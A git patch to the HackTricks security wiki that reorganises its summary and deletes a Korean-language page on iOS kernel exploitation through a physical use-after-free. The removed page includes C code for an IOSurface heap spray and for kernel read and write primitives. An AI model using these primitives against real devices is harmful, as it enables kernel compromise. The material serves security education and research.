From f8699c8f7f0cf14d2b7641b44111eff4e8339cf7 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Sep 2025 01:01:15 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/laravel.md', --- src/SUMMARY.md | 4 +- src/binary-exploitation/ios-exploiting.md | 208 ------- .../CVE-2020-27950-mach_msg_trailer_t.md | 332 +++++++++++ .../CVE-2021-30807-IOMobileFrameBuffer.md | 296 ++++++++++ .../ios-exploiting/README.md | 268 +++++++++ .../ios-exploiting/ios-corellium.md | 78 +++ .../ios-example-heap-exploit.md | 205 +++++++ .../ios-physical-uaf-iosurface.md | 215 +++++++ .../linux-post-exploitation/README.md | 37 +- .../privilege-escalation/README.md | 553 +++++++++--------- .../android-app-pentesting/README.md | 530 ++++++++--------- ...-instrumentation-and-ssl-pinning-bypass.md | 99 ++-- .../avd-android-virtual-device.md | 112 ++-- .../frida-tutorial/README.md | 82 +-- .../install-burp-certificate.md | 46 +- .../pentesting-smb/README.md | 149 +++-- ...bd-attack-surface-and-fuzzing-syzkaller.md | 92 +-- .../pentesting-web/README.md | 231 ++++---- .../electron-desktop-apps/README.md | 232 ++++---- .../pentesting-web/laravel.md | 104 ++-- .../pentesting-web/sitecore/README.md | 70 +-- .../pentesting-web/wordpress.md | 385 ++++++------ .../pentesting-web/wsgi.md | 169 ++++++ src/pentesting-web/cache-deception/README.md | 183 +++--- ...er-gadgets-expandedwrapper-and-json.net.md | 88 +-- src/pentesting-web/file-upload/README.md | 142 ++--- 26 files changed, 3123 insertions(+), 1787 deletions(-) delete mode 100644 src/binary-exploitation/ios-exploiting.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md create mode 100644 src/binary-exploitation/ios-exploiting/README.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-corellium.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md create mode 100644 src/network-services-pentesting/pentesting-web/wsgi.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # ๐Ÿค– AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index ad52d454d..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,208 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## ๋ฌผ๋ฆฌ์  ์‚ฌ์šฉ ํ›„ ํ•ด์ œ - -์ด๊ฒƒ์€ [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)์˜ ๊ฒŒ์‹œ๋ฌผ ์š”์•ฝ์ด๋ฉฐ, ์ด ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด๋Š” [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -### XNU์˜ ๋ฉ”๋ชจ๋ฆฌ ๊ด€๋ฆฌ - -iOS์˜ ์‚ฌ์šฉ์ž ํ”„๋กœ์„ธ์Šค๋ฅผ ์œ„ํ•œ **๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ ๊ณต๊ฐ„**์€ **0x0์—์„œ 0x8000000000**๊นŒ์ง€์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Ÿฌํ•œ ์ฃผ์†Œ๋Š” ๋ฌผ๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ์— ์ง์ ‘ ๋งคํ•‘๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋Œ€์‹ , **์ปค๋„**์€ **ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”**์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ€์ƒ ์ฃผ์†Œ๋ฅผ ์‹ค์ œ **๋ฌผ๋ฆฌ ์ฃผ์†Œ**๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค. - -#### iOS์˜ ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ” ์ˆ˜์ค€ - -ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”์€ ์„ธ ๊ฐ€์ง€ ์ˆ˜์ค€์œผ๋กœ ๊ณ„์ธต์ ์œผ๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค: - -1. **L1 ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ” (๋ ˆ๋ฒจ 1)**: -* ์—ฌ๊ธฐ์˜ ๊ฐ ํ•ญ๋ชฉ์€ ๋„“์€ ๋ฒ”์œ„์˜ ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. -* **0x1000000000 ๋ฐ”์ดํŠธ** (๋˜๋Š” **256 GB**)์˜ ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. -2. **L2 ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ” (๋ ˆ๋ฒจ 2)**: -* ์—ฌ๊ธฐ์˜ ํ•ญ๋ชฉ์€ ๋” ์ž‘์€ ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ๊ตฌ์ฒด์ ์œผ๋กœ **0x2000000 ๋ฐ”์ดํŠธ** (32 MB)์ž…๋‹ˆ๋‹ค. -* L1 ํ•ญ๋ชฉ์€ ์ „์ฒด ์˜์—ญ์„ ๋งคํ•‘ํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ L2 ํ…Œ์ด๋ธ”์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -3. **L3 ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ” (๋ ˆ๋ฒจ 3)**: -* ๊ฐ€์žฅ ์„ธ๋ฐ€ํ•œ ์ˆ˜์ค€์œผ๋กœ, ๊ฐ ํ•ญ๋ชฉ์€ ๋‹จ์ผ **4 KB** ๋ฉ”๋ชจ๋ฆฌ ํŽ˜์ด์ง€๋ฅผ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค. -* L2 ํ•ญ๋ชฉ์€ ๋” ์„ธ๋ฐ€ํ•œ ์ œ์–ด๊ฐ€ ํ•„์š”ํ•  ๊ฒฝ์šฐ L3 ํ…Œ์ด๋ธ”์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -#### ๊ฐ€์ƒ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ฌผ๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ๋กœ ๋งคํ•‘ - -* **์ง์ ‘ ๋งคํ•‘ (๋ธ”๋ก ๋งคํ•‘)**: -* ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”์˜ ์ผ๋ถ€ ํ•ญ๋ชฉ์€ ๊ฐ€์ƒ ์ฃผ์†Œ ๋ฒ”์œ„๋ฅผ ์—ฐ์†์ ์ธ ๋ฌผ๋ฆฌ ์ฃผ์†Œ ๋ฒ”์œ„์— ์ง์ ‘ **๋งคํ•‘**ํ•ฉ๋‹ˆ๋‹ค (๋‹จ์ถ•ํ‚ค์™€ ๊ฐ™์€ ๋ฐฉ์‹). -* **์ž์‹ ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ**: -* ๋” ์„ธ๋ฐ€ํ•œ ์ œ์–ด๊ฐ€ ํ•„์š”ํ•  ๊ฒฝ์šฐ, ํ•œ ์ˆ˜์ค€์˜ ํ•ญ๋ชฉ (์˜ˆ: L1)์€ ๋‹ค์Œ ์ˆ˜์ค€์˜ **์ž์‹ ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”** (์˜ˆ: L2)์„ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -#### ์˜ˆ์‹œ: ๊ฐ€์ƒ ์ฃผ์†Œ ๋งคํ•‘ - -๊ฐ€์ƒ ์ฃผ์†Œ **0x1000000000**์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค: - -1. **L1 ํ…Œ์ด๋ธ”**: -* ์ปค๋„์€ ์ด ๊ฐ€์ƒ ์ฃผ์†Œ์— ํ•ด๋‹นํ•˜๋Š” L1 ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ” ํ•ญ๋ชฉ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ **L2 ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ**๊ฐ€ ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น L2 ํ…Œ์ด๋ธ”๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค. -2. **L2 ํ…Œ์ด๋ธ”**: -* ์ปค๋„์€ ๋” ์ž์„ธํ•œ ๋งคํ•‘์„ ์œ„ํ•ด L2 ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ด ํ•ญ๋ชฉ์ด **L3 ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”**์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค๋ฉด, ๊ทธ๊ณณ์œผ๋กœ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค. -3. **L3 ํ…Œ์ด๋ธ”**: -* ์ปค๋„์€ ์ตœ์ข… L3 ํ•ญ๋ชฉ์„ ์กฐํšŒํ•˜์—ฌ ์‹ค์ œ ๋ฉ”๋ชจ๋ฆฌ ํŽ˜์ด์ง€์˜ **๋ฌผ๋ฆฌ ์ฃผ์†Œ**๋ฅผ ๊ฐ€๋ฆฌํ‚ต๋‹ˆ๋‹ค. - -#### ์ฃผ์†Œ ๋งคํ•‘ ์˜ˆ์‹œ - -L2 ํ…Œ์ด๋ธ”์˜ ์ฒซ ๋ฒˆ์งธ ์ธ๋ฑ์Šค์— ๋ฌผ๋ฆฌ ์ฃผ์†Œ **0x800004000**์„ ๊ธฐ๋กํ•˜๋ฉด: - -* **0x1000000000**์—์„œ **0x1002000000**๊นŒ์ง€์˜ ๊ฐ€์ƒ ์ฃผ์†Œ๋Š” **0x800004000**์—์„œ **0x802004000**๊นŒ์ง€์˜ ๋ฌผ๋ฆฌ ์ฃผ์†Œ์— ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค. -* ์ด๋Š” L2 ์ˆ˜์ค€์—์„œ์˜ **๋ธ”๋ก ๋งคํ•‘**์ž…๋‹ˆ๋‹ค. - -๋˜๋Š” L2 ํ•ญ๋ชฉ์ด L3 ํ…Œ์ด๋ธ”์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ฒฝ์šฐ: - -* ๊ฐ€์ƒ ์ฃผ์†Œ ๋ฒ”์œ„ **0x1000000000 -> 0x1002000000**์˜ ๊ฐ 4 KB ํŽ˜์ด์ง€๋Š” L3 ํ…Œ์ด๋ธ”์˜ ๊ฐœ๋ณ„ ํ•ญ๋ชฉ์— ์˜ํ•ด ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค. - -### ๋ฌผ๋ฆฌ์  ์‚ฌ์šฉ ํ›„ ํ•ด์ œ - -**๋ฌผ๋ฆฌ์  ์‚ฌ์šฉ ํ›„ ํ•ด์ œ** (UAF)๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ์šฐ์— ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค: - -1. ํ”„๋กœ์„ธ์Šค๊ฐ€ **์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ**ํ•œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ **ํ• ๋‹น**ํ•ฉ๋‹ˆ๋‹ค. -2. **ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”**์ด ์ด ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ • ๋ฌผ๋ฆฌ ์ฃผ์†Œ์— ๋งคํ•‘ํ•˜๋„๋ก ์—…๋ฐ์ดํŠธ๋ฉ๋‹ˆ๋‹ค. -3. ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ **ํ•ด์ œ** (์ž์œ ํ™”)ํ•ฉ๋‹ˆ๋‹ค. -4. ๊ทธ๋Ÿฌ๋‚˜ **๋ฒ„๊ทธ**๋กœ ์ธํ•ด ์ปค๋„์ด ํŽ˜์ด์ง€ ํ…Œ์ด๋ธ”์—์„œ ๋งคํ•‘์„ **์ œ๊ฑฐํ•˜๋Š” ๊ฒƒ์„ ์žŠ์–ด๋ฒ„๋ฆฝ๋‹ˆ๋‹ค**, ๋น„๋ก ํ•ด๋‹น ๋ฌผ๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ž์œ  ๋ฉ”๋ชจ๋ฆฌ๋กœ ํ‘œ์‹œํ•˜๋”๋ผ๋„. -5. ์ปค๋„์€ ์ดํ›„ ์ด "ํ•ด์ œ๋œ" ๋ฌผ๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ **์ปค๋„ ๋ฐ์ดํ„ฐ**์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ์šฉ๋„๋กœ **์žฌํ• ๋‹น**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -6. ๋งคํ•‘์ด ์ œ๊ฑฐ๋˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— ํ”„๋กœ์„ธ์Šค๋Š” ์—ฌ์ „ํžˆ ์ด ๋ฌผ๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ์— **์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ**๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -์ด๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ **์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ ํŽ˜์ด์ง€**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•˜๋ฉฐ, ์ด๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋‚˜ ๊ตฌ์กฐ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์–ด ๊ณต๊ฒฉ์ž๊ฐ€ **์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ**๋ฅผ **์กฐ์ž‘**ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ€๋Šฅ์„ฑ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. - -### ์ต์Šคํ”Œ๋กœ์ž‡ ์ „๋žต: ํž™ ์Šคํ”„๋ ˆ์ด - -๊ณต๊ฒฉ์ž๊ฐ€ ํ•ด์ œ๋œ ๋ฉ”๋ชจ๋ฆฌ์— ์–ด๋–ค ํŠน์ • ์ปค๋„ ํŽ˜์ด์ง€๊ฐ€ ํ• ๋‹น๋ ์ง€ ์ œ์–ดํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์—, ๊ทธ๋“ค์€ **ํž™ ์Šคํ”„๋ ˆ์ด**๋ผ๋Š” ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค: - -1. ๊ณต๊ฒฉ์ž๋Š” ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— **๋งŽ์€ IOSurface ๊ฐ์ฒด**๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. -2. ๊ฐ IOSurface ๊ฐ์ฒด๋Š” ๊ทธ ํ•„๋“œ ์ค‘ ํ•˜๋‚˜์— **๋งค์ง ๊ฐ’**์„ ํฌํ•จํ•˜์—ฌ ์‰ฝ๊ฒŒ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. -3. ๊ทธ๋“ค์€ **ํ•ด์ œ๋œ ํŽ˜์ด์ง€**๋ฅผ ์Šค์บ”ํ•˜์—ฌ ์ด๋Ÿฌํ•œ IOSurface ๊ฐ์ฒด๊ฐ€ ํ•ด์ œ๋œ ํŽ˜์ด์ง€์— ์œ„์น˜ํ–ˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. -4. ํ•ด์ œ๋œ ํŽ˜์ด์ง€์—์„œ IOSurface ๊ฐ์ฒด๋ฅผ ์ฐพ์œผ๋ฉด, ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ**๋ฅผ **์ฝ๊ณ  ์“ธ ์ˆ˜** ์žˆ์Šต๋‹ˆ๋‹ค. - -์ด์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -### ๋‹จ๊ณ„๋ณ„ ํž™ ์Šคํ”„๋ ˆ์ด ํ”„๋กœ์„ธ์Šค - -1. **IOSurface ๊ฐ์ฒด ์Šคํ”„๋ ˆ์ด**: ๊ณต๊ฒฉ์ž๋Š” ํŠน๋ณ„ํ•œ ์‹๋ณ„์ž("๋งค์ง ๊ฐ’")๋ฅผ ๊ฐ€์ง„ ๋งŽ์€ IOSurface ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. -2. **ํ•ด์ œ๋œ ํŽ˜์ด์ง€ ์Šค์บ”**: ๊ทธ๋“ค์€ ์–ด๋–ค ๊ฐ์ฒด๊ฐ€ ํ•ด์ œ๋œ ํŽ˜์ด์ง€์— ํ• ๋‹น๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. -3. **์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ ์ฝ๊ธฐ/์“ฐ๊ธฐ**: IOSurface ๊ฐ์ฒด์˜ ํ•„๋“œ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์—์„œ **์ž„์˜์˜ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ**๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์„ ์–ป์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด: -* ํ•œ ํ•„๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ 32๋น„ํŠธ ๊ฐ’์„ ์ฝ์Šต๋‹ˆ๋‹ค**. -* ๋‹ค๋ฅธ ํ•„๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **64๋น„ํŠธ ๊ฐ’์„ ์”๋‹ˆ๋‹ค**, ์•ˆ์ •์ ์ธ **์ปค๋„ ์ฝ๊ธฐ/์“ฐ๊ธฐ ์›์‹œ**๋ฅผ ๋‹ฌ์„ฑํ•ฉ๋‹ˆ๋‹ค. - -IOSURFACE_MAGIC ๋งค์ง ๊ฐ’์„ ๊ฐ€์ง„ IOSurface ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ๋‚˜์ค‘์— ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค: -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -ํ•ด์ œ๋œ ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์—์„œ **`IOSurface`** ๊ฐ์ฒด๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### ์ปค๋„ ์ฝ๊ธฐ/์“ฐ๊ธฐ ๋‹ฌ์„ฑํ•˜๊ธฐ: IOSurface - -์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์—์„œ IOSurface ๊ฐ์ฒด์— ๋Œ€ํ•œ ์ œ์–ด๋ฅผ ๋‹ฌ์„ฑํ•œ ํ›„(์‚ฌ์šฉ์ž ๊ณต๊ฐ„์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ด์ œ๋œ ๋ฌผ๋ฆฌ ํŽ˜์ด์ง€์— ๋งคํ•‘๋จ), ์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **์ž„์˜์˜ ์ปค๋„ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ์ž‘์—…**์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -**IOSurface์˜ ์ฃผ์š” ํ•„๋“œ** - -IOSurface ๊ฐ์ฒด์—๋Š” ๋‘ ๊ฐ€์ง€ ์ค‘์š”ํ•œ ํ•„๋“œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค: - -1. **์‚ฌ์šฉ ์นด์šดํŠธ ํฌ์ธํ„ฐ**: **32๋น„ํŠธ ์ฝ๊ธฐ**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. -2. **์ธ๋ฑ์Šค ํƒ€์ž„์Šคํƒฌํ”„ ํฌ์ธํ„ฐ**: **64๋น„ํŠธ ์“ฐ๊ธฐ**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. - -์ด ํฌ์ธํ„ฐ๋ฅผ ๋ฎ์–ด์“ฐ๋ฉด, ์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ž„์˜ ์ฃผ์†Œ๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•˜์—ฌ ์ฝ๊ธฐ/์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. - -#### 32๋น„ํŠธ ์ปค๋„ ์ฝ๊ธฐ - -์ฝ๊ธฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด: - -1. **์‚ฌ์šฉ ์นด์šดํŠธ ํฌ์ธํ„ฐ**๋ฅผ ๋ฎ์–ด์จ์„œ ๋Œ€์ƒ ์ฃผ์†Œ์—์„œ 0x14 ๋ฐ”์ดํŠธ ์˜คํ”„์…‹์„ ๋บ€ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. -2. `get_use_count` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•ด๋‹น ์ฃผ์†Œ์˜ ๊ฐ’์„ ์ฝ์Šต๋‹ˆ๋‹ค. -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64-Bit Kernel Write - -์“ฐ๊ธฐ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋ ค๋ฉด: - -1. **์ธ๋ฑ์Šค๋œ ํƒ€์ž„์Šคํƒฌํ”„ ํฌ์ธํ„ฐ**๋ฅผ ๋Œ€์ƒ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์”๋‹ˆ๋‹ค. -2. `set_indexed_timestamp` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ 64๋น„ํŠธ ๊ฐ’์„ ์”๋‹ˆ๋‹ค. -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### Exploit Flow Recap - -1. **๋ฌผ๋ฆฌ์  Use-After-Free ํŠธ๋ฆฌ๊ฑฐ**: ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ํ•ด์ œ๋œ ํŽ˜์ด์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. -2. **IOSurface ๊ฐ์ฒด ์Šคํ”„๋ ˆ์ด**: ์ปค๋„ ๋ฉ”๋ชจ๋ฆฌ์— ๊ณ ์œ ํ•œ "๋งค์ง ๊ฐ’"์„ ๊ฐ€์ง„ ๋งŽ์€ IOSurface ๊ฐ์ฒด๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค. -3. **์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ IOSurface ์‹๋ณ„**: ์ œ์–ดํ•˜๋Š” ํ•ด์ œ๋œ ํŽ˜์ด์ง€์—์„œ IOSurface๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. -4. **Use-After-Free ๋‚จ์šฉ**: IOSurface ๊ฐ์ฒด์˜ ํฌ์ธํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ IOSurface ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ **์ปค๋„ ์ฝ๊ธฐ/์“ฐ๊ธฐ**๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. - 